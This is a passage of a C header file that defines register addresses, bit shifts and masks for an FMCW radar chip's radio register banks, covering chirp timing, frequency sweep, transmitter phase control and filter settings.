#define RADIO_BK7_FMCW_CS_AVA_EN_3_CS_AVA_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_CS_AVA_EN_3_CS_AVA_PARITY_3_SHIFT 1
#define RADIO_BK7_FMCW_CS_AVA_EN_3_CS_AVA_PARITY_3_MASK 0x1
#define RADIO_BK7_FMCW_CS_AVA_EN_3_CS_AVA_TX_SEL_3_SHIFT 2
#define RADIO_BK7_FMCW_CS_AVA_EN_3_CS_AVA_TX_SEL_3_MASK 0x3
#define RADIO_BK7_FMCW_CS_DLY_3_0 0x35
#define RADIO_BK7_FMCW_CS_DLY_3_0_SHIFT 0
#define RADIO_BK7_FMCW_CS_DLY_3_0_MASK 0xff
#define RADIO_BK7_FMCW_CS_DLY_3_1 0x36
#define RADIO_BK7_FMCW_CS_DLY_3_1_SHIFT 0
#define RADIO_BK7_FMCW_CS_DLY_3_1_MASK 0xff
#define RADIO_BK7_FMCW_CS_DLY_3_2 0x37
#define RADIO_BK7_FMCW_CS_DLY_3_2_SHIFT 0
#define RADIO_BK7_FMCW_CS_DLY_3_2_MASK 0xff
#define RADIO_BK7_FMCW_CS_DLY_3_3 0x38
#define RADIO_BK7_FMCW_CS_DLY_3_3_SHIFT 0
#define RADIO_BK7_FMCW_CS_DLY_3_3_MASK 0xff
#define RADIO_BK7_FMCW_CS_EN_3 0x39
#define RADIO_BK7_FMCW_CS_EN_3_SHIFT 0
#define RADIO_BK7_FMCW_CS_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_HP_EN_3 0x3a
#define RADIO_BK7_FMCW_HP_EN_3_SHIFT 0
#define RADIO_BK7_FMCW_HP_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_PS_CTRL_3_0 0x3b
#define RADIO_BK7_FMCW_PS_CTRL_3_0_PS_BYPR_TX0_EN_3_SHIFT 0
#define RADIO_BK7_FMCW_PS_CTRL_3_0_PS_BYPR_TX0_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_PS_CTRL_3_0_PS_BYPR_TX1_EN_3_SHIFT 1
#define RADIO_BK7_FMCW_PS_CTRL_3_0_PS_BYPR_TX1_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_PS_CTRL_3_0_PS_BYPR_TX2_EN_3_SHIFT 2
#define RADIO_BK7_FMCW_PS_CTRL_3_0_PS_BYPR_TX2_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_PS_CTRL_3_0_PS_BYPR_TX3_EN_3_SHIFT 3
#define RADIO_BK7_FMCW_PS_CTRL_3_0_PS_BYPR_TX3_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_PS_CTRL_3_1 0x3c
#define RADIO_BK7_FMCW_PS_CTRL_3_1_PS_OPST_TX0_EN_3_SHIFT 0
#define RADIO_BK7_FMCW_PS_CTRL_3_1_PS_OPST_TX0_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_PS_CTRL_3_1_PS_OPST_TX1_EN_3_SHIFT 1
#define RADIO_BK7_FMCW_PS_CTRL_3_1_PS_OPST_TX1_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_PS_CTRL_3_1_PS_OPST_TX2_EN_3_SHIFT 2
#define RADIO_BK7_FMCW_PS_CTRL_3_1_PS_OPST_TX2_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_PS_CTRL_3_1_PS_OPST_TX3_EN_3_SHIFT 3
#define RADIO_BK7_FMCW_PS_CTRL_3_1_PS_OPST_TX3_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_PS_EN_3 0x3d
#define RADIO_BK7_FMCW_PS_EN_3_PS_EN_3_SHIFT 0
#define RADIO_BK7_FMCW_PS_EN_3_PS_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_PS_EN_3_PS_S_3_SHIFT 1
#define RADIO_BK7_FMCW_PS_EN_3_PS_S_3_MASK 0x1
#define RADIO_BK7_FMCW_TX0_CTRL_3_0 0x3e
#define RADIO_BK7_FMCW_TX0_CTRL_3_0_F3C_EN_3_SHIFT 0
#define RADIO_BK7_FMCW_TX0_CTRL_3_0_F3C_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_TX0_CTRL_3_0_F3C_SEL_3_SHIFT 1
#define RADIO_BK7_FMCW_TX0_CTRL_3_0_F3C_SEL_3_MASK 0x3
#define RADIO_BK7_FMCW_TX0_CTRL_3_1 0x3f
#define RADIO_BK7_FMCW_TX0_CTRL_3_1_VAM_4_SHIFT 0
#define RADIO_BK7_FMCW_TX0_CTRL_3_1_VAM_4_MASK 0x3
#define RADIO_BK7_FMCW_TX0_CTRL_3_1_VAM_3_SHIFT 2
#define RADIO_BK7_FMCW_TX0_CTRL_3_1_VAM_3_MASK 0x3
#define RADIO_BK7_FMCW_TX0_CTRL_3_1_VAM_2_SHIFT 4
#define RADIO_BK7_FMCW_TX0_CTRL_3_1_VAM_2_MASK 0x3
#define RADIO_BK7_FMCW_TX0_CTRL_3_1_VAM_1_SHIFT 6
#define RADIO_BK7_FMCW_TX0_CTRL_3_1_VAM_1_MASK 0x3
#define RADIO_BK7_FMCW_TX0_CTRL_3_2 0x40
#define RADIO_BK7_FMCW_TX0_CTRL_3_2_VAM_EN_SHIFT 0
#define RADIO_BK7_FMCW_TX0_CTRL_3_2_VAM_EN_MASK 0x1
#define RADIO_BK7_FMCW_TX0_CTRL_3_2_VAM_P_SHIFT 1
#define RADIO_BK7_FMCW_TX0_CTRL_3_2_VAM_P_MASK 0x3
#define RADIO_BK7_FMCW_TX0_CTRL_3_2_VAM_S_SHIFT 3
#define RADIO_BK7_FMCW_TX0_CTRL_3_2_VAM_S_MASK 0x1
#define RADIO_BK7_FMCW_TX0_CTRL_3_2_OFF_S_SHIFT 4
#define RADIO_BK7_FMCW_TX0_CTRL_3_2_OFF_S_MASK 0x3
#define RADIO_BK7_FMCW_TX0_CTRL_3_2_VAM_RM_SHIFT 6
#define RADIO_BK7_FMCW_TX0_CTRL_3_2_VAM_RM_MASK 0x1
#define RADIO_BK7_FMCW_TX1_CTRL_3_0 0x41
#define RADIO_BK7_FMCW_TX1_CTRL_3_0_F3C_EN_3_SHIFT 0
#define RADIO_BK7_FMCW_TX1_CTRL_3_0_F3C_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_TX1_CTRL_3_0_F3C_SEL_3_SHIFT 1
#define RADIO_BK7_FMCW_TX1_CTRL_3_0_F3C_SEL_3_MASK 0x3
#define RADIO_BK7_FMCW_TX1_CTRL_3_1 0x42
#define RADIO_BK7_FMCW_TX1_CTRL_3_1_VAM_4_SHIFT 0
#define RADIO_BK7_FMCW_TX1_CTRL_3_1_VAM_4_MASK 0x3
#define RADIO_BK7_FMCW_TX1_CTRL_3_1_VAM_3_SHIFT 2
#define RADIO_BK7_FMCW_TX1_CTRL_3_1_VAM_3_MASK 0x3
#define RADIO_BK7_FMCW_TX1_CTRL_3_1_VAM_2_SHIFT 4
#define RADIO_BK7_FMCW_TX1_CTRL_3_1_VAM_2_MASK 0x3
#define RADIO_BK7_FMCW_TX1_CTRL_3_1_VAM_1_SHIFT 6
#define RADIO_BK7_FMCW_TX1_CTRL_3_1_VAM_1_MASK 0x3
#define RADIO_BK7_FMCW_TX1_CTRL_3_2 0x43
#define RADIO_BK7_FMCW_TX1_CTRL_3_2_VAM_EN_SHIFT 0
#define RADIO_BK7_FMCW_TX1_CTRL_3_2_VAM_EN_MASK 0x1
#define RADIO_BK7_FMCW_TX1_CTRL_3_2_VAM_P_SHIFT 1
#define RADIO_BK7_FMCW_TX1_CTRL_3_2_VAM_P_MASK 0x3
#define RADIO_BK7_FMCW_TX1_CTRL_3_2_VAM_S_SHIFT 3
#define RADIO_BK7_FMCW_TX1_CTRL_3_2_VAM_S_MASK 0x1
#define RADIO_BK7_FMCW_TX1_CTRL_3_2_OFF_S_SHIFT 4
#define RADIO_BK7_FMCW_TX1_CTRL_3_2_OFF_S_MASK 0x3
#define RADIO_BK7_FMCW_TX1_CTRL_3_2_VAM_RM_SHIFT 6
#define RADIO_BK7_FMCW_TX1_CTRL_3_2_VAM_RM_MASK 0x1
#define RADIO_BK7_FMCW_TX2_CTRL_3_0 0x44
#define RADIO_BK7_FMCW_TX2_CTRL_3_0_F3C_EN_3_SHIFT 0
#define RADIO_BK7_FMCW_TX2_CTRL_3_0_F3C_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_TX2_CTRL_3_0_F3C_SEL_3_SHIFT 1
#define RADIO_BK7_FMCW_TX2_CTRL_3_0_F3C_SEL_3_MASK 0x3
#define RADIO_BK7_FMCW_TX2_CTRL_3_1 0x45
#define RADIO_BK7_FMCW_TX2_CTRL_3_1_VAM_4_SHIFT 0
#define RADIO_BK7_FMCW_TX2_CTRL_3_1_VAM_4_MASK 0x3
#define RADIO_BK7_FMCW_TX2_CTRL_3_1_VAM_3_SHIFT 2
#define RADIO_BK7_FMCW_TX2_CTRL_3_1_VAM_3_MASK 0x3
#define RADIO_BK7_FMCW_TX2_CTRL_3_1_VAM_2_SHIFT 4
#define RADIO_BK7_FMCW_TX2_CTRL_3_1_VAM_2_MASK 0x3
#define RADIO_BK7_FMCW_TX2_CTRL_3_1_VAM_1_SHIFT 6
#define RADIO_BK7_FMCW_TX2_CTRL_3_1_VAM_1_MASK 0x3
#define RADIO_BK7_FMCW_TX2_CTRL_3_2 0x46
#define RADIO_BK7_FMCW_TX2_CTRL_3_2_VAM_EN_SHIFT 0
#define RADIO_BK7_FMCW_TX2_CTRL_3_2_VAM_EN_MASK 0x1
#define RADIO_BK7_FMCW_TX2_CTRL_3_2_VAM_P_SHIFT 1
#define RADIO_BK7_FMCW_TX2_CTRL_3_2_VAM_P_MASK 0x3
#define RADIO_BK7_FMCW_TX2_CTRL_3_2_VAM_S_SHIFT 3
#define RADIO_BK7_FMCW_TX2_CTRL_3_2_VAM_S_MASK 0x1
#define RADIO_BK7_FMCW_TX2_CTRL_3_2_OFF_S_SHIFT 4
#define RADIO_BK7_FMCW_TX2_CTRL_3_2_OFF_S_MASK 0x3
#define RADIO_BK7_FMCW_TX2_CTRL_3_2_VAM_RM_SHIFT 6
#define RADIO_BK7_FMCW_TX2_CTRL_3_2_VAM_RM_MASK 0x1
#define RADIO_BK7_FMCW_TX3_CTRL_3_0 0x47
#define RADIO_BK7_FMCW_TX3_CTRL_3_0_F3C_EN_3_SHIFT 0
#define RADIO_BK7_FMCW_TX3_CTRL_3_0_F3C_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_TX3_CTRL_3_0_F3C_SEL_3_SHIFT 1
#define RADIO_BK7_FMCW_TX3_CTRL_3_0_F3C_SEL_3_MASK 0x3
#define RADIO_BK7_FMCW_TX3_CTRL_3_1 0x48
#define RADIO_BK7_FMCW_TX3_CTRL_3_1_VAM_4_SHIFT 0
#define RADIO_BK7_FMCW_TX3_CTRL_3_1_VAM_4_MASK 0x3
#define RADIO_BK7_FMCW_TX3_CTRL_3_1_VAM_3_SHIFT 2
#define RADIO_BK7_FMCW_TX3_CTRL_3_1_VAM_3_MASK 0x3
#define RADIO_BK7_FMCW_TX3_CTRL_3_1_VAM_2_SHIFT 4
#define RADIO_BK7_FMCW_TX3_CTRL_3_1_VAM_2_MASK 0x3
#define RADIO_BK7_FMCW_TX3_CTRL_3_1_VAM_1_SHIFT 6
#define RADIO_BK7_FMCW_TX3_CTRL_3_1_VAM_1_MASK 0x3
#define RADIO_BK7_FMCW_TX3_CTRL_3_2 0x49
#define RADIO_BK7_FMCW_TX3_CTRL_3_2_VAM_EN_SHIFT 0
#define RADIO_BK7_FMCW_TX3_CTRL_3_2_VAM_EN_MASK 0x1
#define RADIO_BK7_FMCW_TX3_CTRL_3_2_VAM_P_SHIFT 1
#define RADIO_BK7_FMCW_TX3_CTRL_3_2_VAM_P_MASK 0x3
#define RADIO_BK7_FMCW_TX3_CTRL_3_2_VAM_S_SHIFT 3
#define RADIO_BK7_FMCW_TX3_CTRL_3_2_VAM_S_MASK 0x1
#define RADIO_BK7_FMCW_TX3_CTRL_3_2_OFF_S_SHIFT 4
#define RADIO_BK7_FMCW_TX3_CTRL_3_2_OFF_S_MASK 0x3
#define RADIO_BK7_FMCW_TX3_CTRL_3_2_VAM_RM_SHIFT 6
#define RADIO_BK7_FMCW_TX3_CTRL_3_2_VAM_RM_MASK 0x1
#define RADIO_BK7_CH0_FILTER_DC_CANCEL_3_0 0x4a
#define RADIO_BK7_CH0_FILTER_DC_CANCEL_3_0_SHIFT 0
#define RADIO_BK7_CH0_FILTER_DC_CANCEL_3_0_MASK 0xff
#define RADIO_BK7_CH0_FILTER_DC_CANCEL_3_1 0x4b
#define RADIO_BK7_CH0_FILTER_DC_CANCEL_3_1_SHIFT 0
#define RADIO_BK7_CH0_FILTER_DC_CANCEL_3_1_MASK 0xff
#define RADIO_BK7_CH0_FILTER_DC_CANCEL_3_2 0x4c
#define RADIO_BK7_CH0_FILTER_DC_CANCEL_3_2_SHIFT 0
#define RADIO_BK7_CH0_FILTER_DC_CANCEL_3_2_MASK 0x7f
#define RADIO_BK7_CH1_FILTER_DC_CANCEL_3_0 0x4d
#define RADIO_BK7_CH1_FILTER_DC_CANCEL_3_0_SHIFT 0
#define RADIO_BK7_CH1_FILTER_DC_CANCEL_3_0_MASK 0xff
#define RADIO_BK7_CH1_FILTER_DC_CANCEL_3_1 0x4e
#define RADIO_BK7_CH1_FILTER_DC_CANCEL_3_1_SHIFT 0
#define RADIO_BK7_CH1_FILTER_DC_CANCEL_3_1_MASK 0xff
#define RADIO_BK7_CH1_FILTER_DC_CANCEL_3_2 0x4f
#define RADIO_BK7_CH1_FILTER_DC_CANCEL_3_2_SHIFT 0
#define RADIO_BK7_CH1_FILTER_DC_CANCEL_3_2_MASK 0x7f
#define RADIO_BK7_CH2_FILTER_DC_CANCEL_3_0 0x50
#define RADIO_BK7_CH2_FILTER_DC_CANCEL_3_0_SHIFT 0
#define RADIO_BK7_CH2_FILTER_DC_CANCEL_3_0_MASK 0xff
#define RADIO_BK7_CH2_FILTER_DC_CANCEL_3_1 0x51
#define RADIO_BK7_CH2_FILTER_DC_CANCEL_3_1_SHIFT 0
#define RADIO_BK7_CH2_FILTER_DC_CANCEL_3_1_MASK 0xff
#define RADIO_BK7_CH2_FILTER_DC_CANCEL_3_2 0x52
#define RADIO_BK7_CH2_FILTER_DC_CANCEL_3_2_SHIFT 0
#define RADIO_BK7_CH2_FILTER_DC_CANCEL_3_2_MASK 0x7f
#define RADIO_BK7_CH3_FILTER_DC_CANCEL_3_0 0x53
#define RADIO_BK7_CH3_FILTER_DC_CANCEL_3_0_SHIFT 0
#define RADIO_BK7_CH3_FILTER_DC_CANCEL_3_0_MASK 0xff
#define RADIO_BK7_CH3_FILTER_DC_CANCEL_3_1 0x54
#define RADIO_BK7_CH3_FILTER_DC_CANCEL_3_1_SHIFT 0
#define RADIO_BK7_CH3_FILTER_DC_CANCEL_3_1_MASK 0xff
#define RADIO_BK7_CH3_FILTER_DC_CANCEL_3_2 0x55
#define RADIO_BK7_CH3_FILTER_DC_CANCEL_3_2_SHIFT 0
#define RADIO_BK7_CH3_FILTER_DC_CANCEL_3_2_MASK 0x7f
#define RADIO_BK7_FILTER_DAT_SFT_SEL_3 0x56
#define RADIO_BK7_FILTER_DAT_SFT_SEL_3_SHIFT 0
#define RADIO_BK7_FILTER_DAT_SFT_SEL_3_MASK 0x7
#define RADIO_BK7_FILTER_BDW_SEL_3 0x57
#define RADIO_BK7_FILTER_BDW_SEL_3_SHIFT 0
#define RADIO_BK7_FILTER_BDW_SEL_3_MASK 0x3
#define RADIO_BK7_FILTER_CLK_CTRL_3_0 0x58
#define RADIO_BK7_FILTER_CLK_CTRL_3_0_BW20M_EN_3_SHIFT 0
#define RADIO_BK7_FILTER_CLK_CTRL_3_0_BW20M_EN_3_MASK 0xf
#define RADIO_BK7_FILTER_CLK_CTRL_3_0_CLK_SEL_3_SHIFT 4
#define RADIO_BK7_FILTER_CLK_CTRL_3_0_CLK_SEL_3_MASK 0x1
#define RADIO_BK7_FILTER_CLK_CTRL_3_0_REFPLL_SDMADC_CLKSEL_3_SHIFT 5
#define RADIO_BK7_FILTER_CLK_CTRL_3_0_REFPLL_SDMADC_CLKSEL_3_MASK 0x1
#define RADIO_BK7_FILTER_CLK_CTRL_3_1 0x59
#define RADIO_BK7_FILTER_CLK_CTRL_3_1_SHIFT 0
#define RADIO_BK7_FILTER_CLK_CTRL_3_1_MASK 0x1
#define RADIO_BK7_FMCW_CMD_PRD_3 0x5a
#define RADIO_BK7_FMCW_CMD_PRD_3_SHIFT 0
#define RADIO_BK7_FMCW_CMD_PRD_3_MASK 0xff
#define RADIO_BK7_FMCW_CMD_SKP_3 0x5b
#define RADIO_BK7_FMCW_CMD_SKP_3_SHIFT 0
#define RADIO_BK7_FMCW_CMD_SKP_3_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_0 0x5c
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_0_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_0_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_1 0x5d
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_1_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_1_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_2 0x5e
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_2_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_2_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_3 0x5f
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_3_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_X_3_3_MASK 0xff
#define RADIO_BK7_FMCW_CMD_NUM_3_0 0x60
#define RADIO_BK7_FMCW_CMD_NUM_3_0_SHIFT 0
#define RADIO_BK7_FMCW_CMD_NUM_3_0_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_0 0x61
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_0_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_0_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_1 0x62
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_1_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_1_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_2 0x63
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_2_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_2_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_3 0x64
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_3_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_Y_3_3_MASK 0xff
#define RADIO_BK7_FMCW_CMD_NUM_3_1 0x65
#define RADIO_BK7_FMCW_CMD_NUM_3_1_SHIFT 0
#define RADIO_BK7_FMCW_CMD_NUM_3_1_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_0 0x66
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_0_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_0_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_1 0x67
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_1_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_1_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_2 0x68
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_2_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_2_MASK 0xff
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_3 0x69
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_3_SHIFT 0
#define RADIO_BK7_FMCW_CMD_TIMER_Z_3_3_MASK 0xff
#define RADIO_BK7_FMCW_CMD_NUM_3_2 0x6a
#define RADIO_BK7_FMCW_CMD_NUM_3_2_SHIFT 0
#define RADIO_BK7_FMCW_CMD_NUM_3_2_MASK 0xff
#define RADIO_BK7_FMCW_AUTO_DLY_3_0 0x6b
#define RADIO_BK7_FMCW_AUTO_DLY_3_0_SHIFT 0
#define RADIO_BK7_FMCW_AUTO_DLY_3_0_MASK 0xff
#define RADIO_BK7_FMCW_AUTO_DLY_3_1 0x6c
#define RADIO_BK7_FMCW_AUTO_DLY_3_1_SHIFT 0
#define RADIO_BK7_FMCW_AUTO_DLY_3_1_MASK 0xff
#define RADIO_BK7_FMCW_AUTO_DLY_3_2 0x6d
#define RADIO_BK7_FMCW_AUTO_DLY_3_2_SHIFT 0
#define RADIO_BK7_FMCW_AUTO_DLY_3_2_MASK 0xff
#define RADIO_BK7_FMCW_AUTO_DLY_3_3 0x6e
#define RADIO_BK7_FMCW_AUTO_DLY_3_3_SHIFT 0
#define RADIO_BK7_FMCW_AUTO_DLY_3_3_MASK 0xff
#define RADIO_BK7_FMCW_AUTO_DLY_EN_3 0x6f
#define RADIO_BK7_FMCW_AUTO_DLY_EN_3_SHIFT 0
#define RADIO_BK7_FMCW_AUTO_DLY_EN_3_MASK 0x1
#define RADIO_BK8_FMCW_START_TIME_4_0 0x1
#define RADIO_BK8_FMCW_START_TIME_4_0_SHIFT 0
#define RADIO_BK8_FMCW_START_TIME_4_0_MASK 0xff
#define RADIO_BK8_FMCW_START_TIME_4_1 0x2
#define RADIO_BK8_FMCW_START_TIME_4_1_SHIFT 0
#define RADIO_BK8_FMCW_START_TIME_4_1_MASK 0xff
#define RADIO_BK8_FMCW_START_TIME_4_2 0x3
#define RADIO_BK8_FMCW_START_TIME_4_2_SHIFT 0
#define RADIO_BK8_FMCW_START_TIME_4_2_MASK 0xff
#define RADIO_BK8_FMCW_START_TIME_4_3 0x4
#define RADIO_BK8_FMCW_START_TIME_4_3_SHIFT 0
#define RADIO_BK8_FMCW_START_TIME_4_3_MASK 0xff
#define RADIO_BK8_FMCW_START_FREQ_4_0 0x5
#define RADIO_BK8_FMCW_START_FREQ_4_0_SHIFT 0
#define RADIO_BK8_FMCW_START_FREQ_4_0_MASK 0xff
#define RADIO_BK8_FMCW_START_FREQ_4_1 0x6
#define RADIO_BK8_FMCW_START_FREQ_4_1_SHIFT 0
#define RADIO_BK8_FMCW_START_FREQ_4_1_MASK 0xff
#define RADIO_BK8_FMCW_START_FREQ_4_2 0x7
#define RADIO_BK8_FMCW_START_FREQ_4_2_SHIFT 0
#define RADIO_BK8_FMCW_START_FREQ_4_2_MASK 0xff
#define RADIO_BK8_FMCW_START_FREQ_4_3 0x8
#define RADIO_BK8_FMCW_START_FREQ_4_3_SHIFT 0
#define RADIO_BK8_FMCW_START_FREQ_4_3_MASK 0xff
#define RADIO_BK8_FMCW_STOP_FREQ_4_0 0x9
#define RADIO_BK8_FMCW_STOP_FREQ_4_0_SHIFT 0
#define RADIO_BK8_FMCW_STOP_FREQ_4_0_MASK 0xff
#define RADIO_BK8_FMCW_STOP_FREQ_4_1 0xa
#define RADIO_BK8_FMCW_STOP_FREQ_4_1_SHIFT 0
#define RADIO_BK8_FMCW_STOP_FREQ_4_1_MASK 0xff
#define RADIO_BK8_FMCW_STOP_FREQ_4_2 0xb
#define RADIO_BK8_FMCW_STOP_FREQ_4_2_SHIFT 0
#define RADIO_BK8_FMCW_STOP_FREQ_4_2_MASK 0xff
#define RADIO_BK8_FMCW_STOP_FREQ_4_3 0xc
#define RADIO_BK8_FMCW_STOP_FREQ_4_3_SHIFT 0
#define RADIO_BK8_FMCW_STOP_FREQ_4_3_MASK 0xff
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_0 0xd
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_0_SHIFT 0
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_0_MASK 0xff
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_1 0xe
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_1_SHIFT 0
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_1_MASK 0xff
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_2 0xf
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_2_SHIFT 0
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_2_MASK 0xff
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_3 0x10
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_3_SHIFT 0
#define RADIO_BK8_FMCW_STEP_UP_FREQ_4_3_MASK 0xf
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_0 0x11
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_0_SHIFT 0
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_0_MASK 0xff
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_1 0x12
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_1_SHIFT 0
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_1_MASK 0xff
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_2 0x13
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_2_SHIFT 0
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_2_MASK 0xff
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_3 0x14
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_3_SHIFT 0
#define RADIO_BK8_FMCW_STEP_DN_FREQ_4_3_MASK 0xf
#define RADIO_BK8_FMCW_IDLE_4_0 0x15
#define RADIO_BK8_FMCW_IDLE_4_0_SHIFT 0
#define RADIO_BK8_FMCW_IDLE_4_0_MASK 0xff
#define RADIO_BK8_FMCW_IDLE_4_1 0x16
#define RADIO_BK8_FMCW_IDLE_4_1_SHIFT 0
#define RADIO_BK8_FMCW_IDLE_4_1_MASK 0xff
#define RADIO_BK8_FMCW_IDLE_4_2 0x17
#define RADIO_BK8_FMCW_IDLE_4_2_SHIFT 0
#define RADIO_BK8_FMCW_IDLE_4_2_MASK 0xff
#define RADIO_BK8_FMCW_IDLE_4_3 0x18
#define RADIO_BK8_FMCW_IDLE_4_3_SHIFT 0
#define RADIO_BK8_FMCW_IDLE_4_3_MASK 0xff
#define RADIO_BK8_FMCW_CHIRP_SIZE_4_0 0x19
#define RADIO_BK8_FMCW_CHIRP_SIZE_4_0_SHIFT 0
#define RADIO_BK8_FMCW_CHIRP_SIZE_4_0_MASK 0xff
#define RADIO_BK8_FMCW_CHIRP_SIZE_4_1 0x1a
#define RADIO_BK8_FMCW_CHIRP_SIZE_4_1_SHIFT 0
#define RADIO_BK8_FMCW_CHIRP_SIZE_4_1_MASK 0xff
#define RADIO_BK8_FMCW_START_FREQ_HP_4_0 0x1b
#define RADIO_BK8_FMCW_START_FREQ_HP_4_0_SHIFT 0
#define RADIO_BK8_FMCW_START_FREQ_HP_4_0_MASK 0xff
#define RADIO_BK8_FMCW_START_FREQ_HP_4_1 0x1c
#define RADIO_BK8_FMCW_START_FREQ_HP_4_1_SHIFT 0
#define RADIO_BK8_FMCW_START_FREQ_HP_4_1_MASK 0xff
#define RADIO_BK8_FMCW_START_FREQ_HP_4_2 0x1d
#define RADIO_BK8_FMCW_START_FREQ_HP_4_2_SHIFT 0
#define RADIO_BK8_FMCW_START_FREQ_HP_4_2_MASK 0xff
#define RADIO_BK8_FMCW_START_FREQ_HP_4_3 0x1e
#define RADIO_BK8_FMCW_START_FREQ_HP_4_3_SHIFT 0
#define RADIO_BK8_FMCW_START_FREQ_HP_4_3_MASK 0xff
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_0 0x1f
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_0_SHIFT 0
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_0_MASK 0xff
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_1 0x20
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_1_SHIFT 0
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_1_MASK 0xff
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_2 0x21
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_2_SHIFT 0
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_2_MASK 0xff
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_3 0x22
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_3_SHIFT 0
#define RADIO_BK8_FMCW_STOP_FREQ_HP_4_3_MASK 0xff
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_0 0x23
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_0_SHIFT 0
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_0_MASK 0xff
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_1 0x24
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_1_SHIFT 0
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_1_MASK 0xff
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_2 0x25
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_2_SHIFT 0
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_2_MASK 0xff
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_3 0x26
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_3_SHIFT 0
#define RADIO_BK8_FMCW_STEP_UP_FREQ_HP_4_3_MASK 0xf
#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_0 0x27
#define RADIO_BK8_FMCW_STEP_DN_FREQ_HP_4_0_SHIFT 0
